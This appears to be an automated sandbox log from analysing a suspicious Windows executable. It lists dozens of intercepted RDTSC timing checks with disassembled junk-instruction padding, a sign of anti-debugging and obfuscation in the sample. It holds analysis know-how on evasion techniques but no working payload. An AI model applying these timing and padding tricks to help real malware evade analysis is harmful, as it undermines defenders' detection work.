Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69FA0 second address: F69FC4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F55D8D59BA2h 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69FC4 second address: F69FC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69FC8 second address: F69FCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69FCE second address: F69FDA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F55D8C2E5F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F69FDA second address: F69FDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A114 second address: F6A11F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A26B second address: F6A271 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A271 second address: F6A27B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F6A27B second address: F6A297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007F55D8D59B9Ch 0x00000010 push eax 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E56B second address: F8E583 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F55D8C2E5FCh 0x00000008 pop eax 0x00000009 jbe 00007F55D8C2E5FCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61FB7 second address: F61FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ecx 0x00000008 popad 0x00000009 pushad 0x0000000a jl 00007F55D8D59B9Ch 0x00000010 jns 00007F55D8D59B96h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61FD0 second address: F61FDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jnc 00007F55D8C2E5F6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61FDE second address: F62003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F55D8D59B9Ch 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 jmp 00007F55D8D59B9Dh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C9E0 second address: F8C9E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C9E4 second address: F8C9EC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C9EC second address: F8C9F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8C9F2 second address: F8C9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F61FEB second address: F62003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F55D8C2E5FDh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CB64 second address: F8CB95 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59BA6h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnl 00007F55D8D59B96h 0x0000000f jmp 00007F55D8D59BA1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8CF6E second address: F8CF78 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F55D8C2E5F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D20C second address: F8D219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D219 second address: F8D21F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D21F second address: F8D241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F55D8D59BA8h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D3A2 second address: F8D3B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F55D8C2E62Fh 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D3B2 second address: F8D3DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F55D8D59BA7h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F55D8D59B96h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D3DA second address: F8D3DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8D524 second address: F8D535 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F55D8D59B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82BD3 second address: F82BD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82BD8 second address: F82BDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F82BDE second address: F82BF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F55D8C2E5FBh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8DC56 second address: F8DC5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8DD96 second address: F8DDCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F55D8C2E5FAh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F55D8C2E5FCh 0x0000000f jmp 00007F55D8C2E5FEh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a push edx 0x0000001b pop edx 0x0000001c push esi 0x0000001d pop esi 0x0000001e push eax 0x0000001f pop eax 0x00000020 push edi 0x00000021 pop edi 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E06F second address: F8E0AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F55D8D59BA9h 0x00000009 jmp 00007F55D8D59B9Fh 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F55D8D59B9Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E0AD second address: F8E0B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E0B1 second address: F8E0BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E0BD second address: F8E0C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E0C3 second address: F8E0D2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F55D8D59B96h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F8E0D2 second address: F8E0F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F55D8C2E5FFh 0x0000000e jg 00007F55D8C2E5F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F91B1B second address: F91B39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F55D8D59B96h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F55D8D59B9Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B850 second address: F9B867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F55D8C2E603h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B867 second address: F9B86D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B86D second address: F9B873 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B873 second address: F9B879 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B879 second address: F9B87F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B87F second address: F9B883 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AC7A second address: F9AC86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9AC86 second address: F9ACAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jg 00007F55D8D59B98h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F55D8D59B9Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007F55D8D59B96h 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9ACAB second address: F9ACB1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9ACB1 second address: F9ACDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F55D8D59B9Eh 0x0000000c push edi 0x0000000d pop edi 0x0000000e jbe 00007F55D8D59B96h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F55D8D59BA6h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B3D5 second address: F9B3DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B54A second address: F9B550 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B550 second address: F9B579 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jp 00007F55D8C2E5F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jo 00007F55D8C2E5F6h 0x00000013 jmp 00007F55D8C2E604h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B6E7 second address: F9B731 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F55D8D59BA7h 0x00000009 jne 00007F55D8D59B96h 0x0000000f popad 0x00000010 jmp 00007F55D8D59B9Bh 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 jng 00007F55D8D59BAAh 0x0000001e jmp 00007F55D8D59BA4h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9B731 second address: F9B73E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007F55D8C2E5F6h 0x00000009 pop ebx 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D901 second address: F9D905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9D905 second address: F9D958 instructions: 0x00000000 rdtsc 0x00000002 je 00007F55D8C2E5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F55D8C2E5FFh 0x00000010 pop edi 0x00000011 popad 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 jnp 00007F55D8C2E5FAh 0x0000001c push edi 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f pop edi 0x00000020 mov eax, dword ptr [eax] 0x00000022 jc 00007F55D8C2E605h 0x00000028 jmp 00007F55D8C2E5FFh 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push eax 0x00000032 push edx 0x00000033 jo 00007F55D8C2E5FCh 0x00000039 je 00007F55D8C2E5F6h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DB65 second address: F9DB69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DB69 second address: F9DB77 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jl 00007F55D8C2E5F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DB77 second address: F9DB7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DC61 second address: F9DC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DC65 second address: F9DC69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DC69 second address: F9DC89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F55D8C2E604h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9DC89 second address: F9DC8F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9E62F second address: F9E636 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F9EF19 second address: F9EF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA01DF second address: FA01E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA01E3 second address: FA01FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59BA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1516 second address: FA151A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA125E second address: FA1264 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA151A second address: FA1523 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1264 second address: FA1271 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1E77 second address: FA1E7C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1E7C second address: FA1EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007F55D8D59B98h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 mov edi, esi 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push edi 0x0000002b call 00007F55D8D59B98h 0x00000030 pop edi 0x00000031 mov dword ptr [esp+04h], edi 0x00000035 add dword ptr [esp+04h], 00000015h 0x0000003d inc edi 0x0000003e push edi 0x0000003f ret 0x00000040 pop edi 0x00000041 ret 0x00000042 mov esi, dword ptr [ebp+122D1C14h] 0x00000048 sub dword ptr [ebp+122D27F7h], edi 0x0000004e push 00000000h 0x00000050 and esi, dword ptr [ebp+122D2A8Fh] 0x00000056 xchg eax, ebx 0x00000057 jl 00007F55D8D59BA0h 0x0000005d pushad 0x0000005e pushad 0x0000005f popad 0x00000060 push eax 0x00000061 push edx 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA1EE5 second address: FA1EF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA2A45 second address: FA2A4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA750A second address: FA7575 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ecx 0x0000000b call 00007F55D8C2E5F8h 0x00000010 pop ecx 0x00000011 mov dword ptr [esp+04h], ecx 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc ecx 0x0000001e push ecx 0x0000001f ret 0x00000020 pop ecx 0x00000021 ret 0x00000022 mov dword ptr [ebp+122D1D5Fh], edi 0x00000028 sub ebx, dword ptr [ebp+122D3464h] 0x0000002e push 00000000h 0x00000030 mov dword ptr [ebp+122D187Fh], ecx 0x00000036 sub dword ptr [ebp+12468FE1h], eax 0x0000003c push 00000000h 0x0000003e push 00000000h 0x00000040 push edx 0x00000041 call 00007F55D8C2E5F8h 0x00000046 pop edx 0x00000047 mov dword ptr [esp+04h], edx 0x0000004b add dword ptr [esp+04h], 00000017h 0x00000053 inc edx 0x00000054 push edx 0x00000055 ret 0x00000056 pop edx 0x00000057 ret 0x00000058 push eax 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d push edx 0x0000005e pop edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA7575 second address: FA757B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA8590 second address: FA85A3 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F55D8C2E5F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b js 00007F55D8C2E5F6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA774B second address: FA7750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FA85A3 second address: FA85D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 mov bl, D4h 0x0000000b push 00000000h 0x0000000d mov bx, 6600h 0x00000011 push 00000000h 0x00000013 xchg eax, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 jng 00007F55D8C2E60Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAAB32 second address: FAAB37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACE06 second address: FACE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACE0A second address: FACE18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F55D8D59B9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FACED6 second address: FACEDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADF5D second address: FADF61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAEFA9 second address: FAEFAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAFCB0 second address: FAFCB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FAEFAD second address: FAEFB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
